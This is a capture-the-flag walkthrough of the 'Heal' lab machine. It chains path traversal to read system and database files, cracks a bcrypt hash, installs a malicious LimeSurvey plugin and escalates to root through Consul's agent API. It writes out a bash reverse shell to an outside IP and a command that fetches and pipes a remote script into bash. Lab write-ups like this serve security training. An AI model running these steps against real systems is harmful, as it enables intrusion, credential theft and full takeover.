Recon
└──╼ $whatweb heal.htb
http://heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.110.223], Script, Title[Heal], X-Powered-By[Express], nginx[1.18.0]
└──╼ $nmap -p- -A heal.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 22:40 UTC
Nmap scan report for heal.htb (10.129.110.223)
Host is up (0.050s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Heal
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.95 seconds
└──╼ $gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -u http://heal.htb --append-domain -t 150
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://heal.htb
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: api.heal.htb Status: 200 [Size: 12515]
Found: API.heal.htb Status: 200 [Size: 12515]
Found: Api.heal.htb Status: 200 [Size: 12515]
Main site
After creating an account, we are greeted with resume builder.
It can be exported to pdf.
In burp we can modify the contents field to generate any pdf we want.
Exploring the site we can aslo find survey under a new subdomain, take-survey.heal.htb
.
We can also see that all of the actions are done through an api. Running curl api.heal.htb
gets us:
<li><strong>Rails version:</strong> 7.1.4</li>
<li><strong>Ruby version:</strong> ruby 3.3.5 (2024-09-03 revision ef084cc8f4) [x86_64-linux]</li>
Testing for https://api.heal.htb/?name=abc
gets us rails site.
PDF downloads
Looking further in burp we can monitor how pdf’s are created. First file is sent to /exports
and then we are downloading it from /download
, i.e: /download?filename=b8ee5207be6ef2a567c2.pdf
We can test this for path traversal and try to download ../../../../../../../../../etc/passwd
. We get then pdf file, that opened in text editor looks like what we wanted.
Inspecting it we can see two users on our system, ralph and ron. www is ther as usual.
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Testing for ../../../../../../../../../home/{ron|ralph}/.ssh/id_rsa
get’s us nothing.
Further looking for files we can get crontab, but its unchanged. We can also get ../../../../../../../../../etc/nginx/nginx.conf
.
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
gzip on;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
We know that we are using ruby on rails. Looking online on stackoverflow we can see that the default location of database is config/database.yml
. Downloading a file under ../../config/database.yml
gets us:
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
We can then get development database (located under ../../storage/development.sqlite3
) and finaly get user hash.
1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1
Running hashcat -m 3200 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords.txt
cracks us the hash.
hashcat --show -m 3200 hash.txt
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
So we have now creds: ralph : 147258369
It does not let us in on the ssh, so we have to dig deeper. We already abused main site and api subdomain, so now time for take-survey.heal.htb
.
Running dirsearch gets us:
Target: http://take-survey.heal.htb/
[12:34:23] Starting:
[12:34:48] 302 - 0B - /Admin/ -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 - 0B - /admin/_logs/error_log -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 - 0B - /admin/admin-login -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 - 0B - /admin/admin.js -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:48] 302 - 0B - /admin/adminLogin.jsp -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/default/login.asp -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/fckeditor/editor/filemanager/connectors/asp/upload.asp -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/home -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/index.html -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/login.jsp -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/logs/access.log -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/manage/login.asp -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/pma/ -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
[12:34:49] 302 - 0B - /admin/sxd/ -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login
Using ralphs creds let’s us in.
We can then add plugin, activate it and get reverse shell by entering the site. Malicious plugin can be found on github. It is important to add version 6.6.4 to the config.xml file, otherwise we will get version mismatch. We get logged in as www-data.
For QoL we can stabilize the shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL-Z
stty raw -echo; fg
Priv esc
www-data@heal:/tmp$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 127.0.0.1:8600 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:39855 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
udp UNCONN 0 0 127.0.0.1:8301 0.0.0.0:*
udp UNCONN 0 0 127.0.0.1:8302 0.0.0.0:*
udp UNCONN 0 0 [::]:5353 [::]:*
udp UNCONN 0 0 [::]:39087 [::]:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
using chatgpt for quick check:
UDP 127.0.0.1:8600 - Consul DNS queries or local DNS service
UDP 0.0.0.0:39855 - Ephemeral port for temporary connections
UDP 0.0.0.0:5353 - Multicast DNS (mDNS)
UDP 127.0.0.53:53 - Local DNS resolver (systemd-resolved)
UDP 0.0.0.0:68 - DHCP client
UDP 127.0.0.1:8301 - Consul gossip protocol
UDP 127.0.0.1:8302 - Consul Serf communication
UDP6 :::5353 - Multicast DNS (mDNS over IPv6)
UDP6 :::39087 - Ephemeral port for temporary connections
I’ve never heard of consul before, but it’s a product made by Hashicorp for Identity-based networking.
www-data@heal:/tmp$ consul version
Consul v1.19.2
Revision 048f1936
Build Date 2024-08-27T16:06:44Z
Protocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol >2 when speaking to compatible agents)
We can see that it is running under root, so it’s a pretty lucrative target.
root 991 0.6 2.6 1359780 105580 ? Ssl Dec15 6:39 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
www-data 55875 0.0 0.0 6828 2032 pts/0 S+ 16:59 0:00 grep consul
From there it’s easy. It turns out that there is a way to execute arbitrary code using consule.
- Create reverse shell file i.e
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.21/4444 0>&1
- setup a server to host the file with
sudo http-server -p 80
. - setup listiner with
nc -lvnp 4444
- setup malicious health check
curl -X PUT -d '{
"Name": "malicious-check",
"Args": ["/bin/bash", "-c", "curl http://10.10.16.21/shell.sh | bash"],
"Interval": "10s"
}' http://127.0.0.1:8500/v1/agent/check/register
- run healthchecks with
curl http://127.0.0.1:8500/v1/health/state/any
.
We are in as root. It’s possible that it did skip an exploit that was intended for user, but root is root.